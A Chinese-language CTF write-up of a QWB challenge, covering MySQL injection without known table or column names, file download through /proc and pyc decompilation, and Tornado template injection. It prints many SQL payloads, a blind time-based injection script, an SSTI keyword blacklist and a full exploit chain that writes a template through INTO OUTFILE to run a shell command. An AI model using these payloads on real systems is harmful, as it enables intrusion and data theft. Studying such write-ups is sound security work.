热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

从qwb重新学习sql和SSTI

 

 

一、知识点



1.sql注入无列名和表名



2.tornado的SSTI

 

二、解题



1. sql注入无列名和表名

这里总结一下几个常用的思路.下面先放一下表的结构

(1). 硬做(union注入)

payload:

select c from (select 1 as a, 1 as b, 1 as c union select * from test)x limit 1 offset 1
select `3` from(select 1,2,3 union select * from admin)a limit 1,1
//无逗号,有join版本 核心就是union
select a from (select * from (select 1 `a`)m join (select 2 `b`)n join (select 3 `c`)t where 0 union select * from test)x;

这是有逗号的情况,就是一个简单的重新取名。

假如没有逗号了。使用join来构造一个虚拟表头

盲注

((SELECT 1,concat('{result+chr(mid)}', cast("0" as JSON)))<(SELECT * FROM `this_fake_flag`))//ascii偏移

要求后面select的结果必须是一行。mysql中对char型大小写是不敏感的,盲注的时候要么可以使用hex或者binary

这里只能使用concat将字符型和binary拼接,使之大小写敏感,JSON也可以使用char byte代替

(2)报错注入

一般是sql语句查询的时候,出现了相同的列名

select * from(select * from table1 a join (select * from table1)b)c CISCN2021的初赛原题罢了

获取列名
select * from(select * from table1 a join (select * from table1)b)c
using() 可以把其中已经爆出来的列名的影响取消
all select * from (select * from users as a join users as b)as c--+
all select*from (select * from users as a join users b using(id,username))c--+
all select*from (select * from users as a join users b using(id,username,password))c--+

(3)查询之前的记录

innodb:

select table_name from mysql.innodb_table_stats where database_name = database();
select table_name from mysql.innodb_index_stats where database_name = database();

sys:

//包含in
SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` where object_schema = database();
SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
//不包含in
SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
//通过表文件的存储路径获取表名
这个很常用
SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`io_global_by_file_by_latency` WHERE FILE REGEXP DATABASE();
SELECT FILE FROM `sys`.`x$io_global_by_file_by_bytes` WHERE FILE REGEXP DATABASE();
//查询记录
SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();

performance_schema:

SELECT object_name FROM `performance_schema`.`objects_summary_global_by_type` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_handles` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_index_usage` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_io_waits_summary_by_table` WHERE object_schema = DATABASE();
SELECT object_name FROM `performance_schema`.`table_lock_waits_summary_by_table` WHERE object_schema = DATABASE();
//包含之前查询记录的表
SELECT digest_text FROM `performance_schema`.`events_statements_summary_by_digest` WHERE digest_text REGEXP DATABASE();
//包含表文件路径的表
SELECT file_name FROM `performance_schema`.`file_instances` WHERE file_name REGEXP DATABASE();

select%0dInfo%0dfrom%0dinformation_schema.processlist

补上我的sql注入exp

import requests,time
url= "http://192.168.43.221:8080/"
string = "qwertyuiopasdfghjklzxcvbnm1234567890/"
def sql_inject():
data = ""
for y in range(70):
for x in string:
payload = url + f"register.php?password=1&username=admin' and if(mid((select qwbqwbqwbpass from qwbtttaaab111e limit 0,1),{y},1) in ('{x}'),!sleep(5),1) and '1"
#payload = url + f"register.php?password=1&username=admin' and if(substr((SELECT digest_text FROM performance_schema.events_statements_summary_by_digest limit 1,1),{y},1) in ('{x}'),!sleep(3),1) and '1"
start = time.time()
#print(payload)
a=requests.get(payload).text
if("error" in a ):
print("error")
if(time.time()-start) > 3:
data = data + x
print(data)
break


2. 任意文件下载

现在第一个想法就是去下载flag,但是很可惜没有。结合提示pyc.

日常读取proc文件

拿到了当前的目录

再看看当前环境

SHELL=/bin/bash
TERM=xterm
Use=MYSQL
....

这些信息在后面都有可能会用得到。

现在到这里 我们就应该思考怎么才能拿到源码,来看看还有没有什么没有公布漏洞。

__pycache__/app.cpython-{version}.pyc

爆破之后面就是x.x 变成xx

然后使用在线的反编译工具,进行反编译,即可get源码。


3. tornado的SSTI

这个考点是我没有想到的。因为在网上搜索,我们可以发现其实在平时就没有考过这个除了护网杯,也没有资料查,这让我脚本小子怎么活。

这是tornado对于ssti的支持:https://github.com/tornadoweb/tornado/blob/master/tornado/template.py

首先把已经ban了的拿出来

black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help', 'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr', 'method', 'super', 'vars']
black_symbol = ["__", "'", '"', "$", "*", '{{']
black_keyword = ['or', 'and', 'while']
black_rce = ['render', 'module', 'include', 'raw']

出题人很贴心帮我们加了注释,感谢hxd。

我们现在需要做的就是从源码中先找到我们还能够使用的函数,也就是这里的rce

下面贴一下源码所有支持的标签。

{##}
{{}}
{%%}

我们看到源码发现这个玩意是这么玩的

{% func space suffix%}

下面func(operator) 总结

这些都是块的定义

intermediate_blocks = {
"else": set(["if", "for", "while", "try"]),
"elif": set(["if"]),
"except": set(["try"]),
"finally": set(["try"]),
}
可以比作if 这些语句

rce:

"extend " => {% extends *filename* %} 引入模板 只导入{%%}
"include" => 包含文件 就像直接复制进来的一样 {% include *filename* %}
"set" => 设置一个变量
"import" =>和python的一致 导入一个模块(能否配合文件写来命令执行?)
"from" => 通import
"comment" => continue 不要处理
"autoescape"=>设置整个文件的编码 {%autoescape None%} 关闭整个文件的编码 或者加载单独的函数名 不会影响include的文件
"whitespace"=>空白字符处理
"raw" => 执行python代码 without autoescaping.
"module" => 渲染一个模板{% module Template("foo.html", arg=42) %}
"apply" => {% apply function %}output{% end %} 对于这个块中的输出output

以上基本上就是所有的操作名字和一些简单的使用,具体还是得等师傅们使用了之后才会明白。


4 解题完成

那么这道题到这里 就只剩下了extennds了,我们应该如何去操作这个呢?又没有什么文件给我们用,我们该咋办呢?

前面我们说过了proc目录yyds,我们就是利用前面的我们发现python是mysql用户。那么就可以直接mysql写文件,然后达到任意命令执行。下面附带上exp。

def ssti(payload1,payload2,num):
s = requests.session()
print(s.get(url+f"register.php?username=demo{num}&password="+payload1).text)
print(s.get(url+f"register.php?username=demo{num}' into outfile '/var/lib/mysql-files/demo{num}&password=123").text)
s.get(url + "login.php?username=admin&password=we111c000me_to_qwb")
print(s.get(url+"good_job_my_ctfer.php?cOngratulations="+payload2).text)
if __name__ == '__main__':
num = random.randint(3,5000)
system = "cat /flag_qwb/flag"
payload1 = '{% set return __import__("os").popen("'+system+'").read()%}'
payload2 = '{% extends /var/lib/mysql-files/demo'+str(num)+' %}'
ssti(payload1,payload2,num)

这样就可以和前面组成一个完整的exp。在mysql中默认导出目录为/var/lib/mysql-files/

 

参考资料

https://www.tornadoweb.org/en/stable/template.html?highlight=extends#tornado.template.filter_whitespace

复现环境:https://www.anquanke.com/post/id/244153 感谢大佬开源

 

三 提升

下面我们把环境中的黑名单全部撤销掉。来一个一个尝试一下刚才所发的所有payload

首先是简简单单的inlcude:

可以看到用法和extends是一样的。

每一个禁止的函数都还可以玩。

这里我只是单独地说一下,有关于include的,里面引入的代码会自动解析{{}}标签,我们不能将之抹去,那么利用的时候用上来payload来引入文件即可。


推荐阅读
  • 微信官方授权及获取OpenId的方法,服务器通过SpringBoot实现
    主要步骤:前端获取到code(wx.login),传入服务器服务器通过参数AppID和AppSecret访问官方接口,获取到OpenId ... [详细]
  • 模板引擎StringTemplate的使用方法和特点
    本文介绍了模板引擎StringTemplate的使用方法和特点,包括强制Model和View的分离、Lazy-Evaluation、Recursive enable等。同时,还介绍了StringTemplate语法中的属性和普通字符的使用方法,并提供了向模板填充属性的示例代码。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 使用在线工具jsonschema2pojo根据json生成java对象
    本文介绍了使用在线工具jsonschema2pojo根据json生成java对象的方法。通过该工具,用户只需将json字符串复制到输入框中,即可自动将其转换成java对象。该工具还能解析列表式的json数据,并将嵌套在内层的对象也解析出来。本文以请求github的api为例,展示了使用该工具的步骤和效果。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • 本文讨论了在openwrt-17.01版本中,mt7628设备上初始化启动时eth0的mac地址总是随机生成的问题。每次随机生成的eth0的mac地址都会写到/sys/class/net/eth0/address目录下,而openwrt-17.01原版的SDK会根据随机生成的eth0的mac地址再生成eth0.1、eth0.2等,生成后的mac地址会保存在/etc/config/network下。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文介绍了如何使用JSONObiect和Gson相关方法实现json数据与kotlin对象的相互转换。首先解释了JSON的概念和数据格式,然后详细介绍了相关API,包括JSONObject和Gson的使用方法。接着讲解了如何将json格式的字符串转换为kotlin对象或List,以及如何将kotlin对象转换为json字符串。最后提到了使用Map封装json对象的特殊情况。文章还对JSON和XML进行了比较,指出了JSON的优势和缺点。 ... [详细]
  • 解决.net项目中未注册“microsoft.ACE.oledb.12.0”提供程序的方法
    在开发.net项目中,通过microsoft.ACE.oledb读取excel文件信息时,报错“未在本地计算机上注册“microsoft.ACE.oledb.12.0”提供程序”。本文提供了解决这个问题的方法,包括错误描述和代码示例。通过注册提供程序和修改连接字符串,可以成功读取excel文件信息。 ... [详细]
  • 图像因存在错误而无法显示 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • 本文整理了Java面试中常见的问题及相关概念的解析,包括HashMap中为什么重写equals还要重写hashcode、map的分类和常见情况、final关键字的用法、Synchronized和lock的区别、volatile的介绍、Syncronized锁的作用、构造函数和构造函数重载的概念、方法覆盖和方法重载的区别、反射获取和设置对象私有字段的值的方法、通过反射创建对象的方式以及内部类的详解。 ... [详细]
  • HashMap的相关问题及其底层数据结构和操作流程
    本文介绍了关于HashMap的相关问题,包括其底层数据结构、JDK1.7和JDK1.8的差异、红黑树的使用、扩容和树化的条件、退化为链表的情况、索引的计算方法、hashcode和hash()方法的作用、数组容量的选择、Put方法的流程以及并发问题下的操作。文章还提到了扩容死链和数据错乱的问题,并探讨了key的设计要求。对于对Java面试中的HashMap问题感兴趣的读者,本文将为您提供一些有用的技术和经验。 ... [详细]
author-avatar
落单鸟人
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有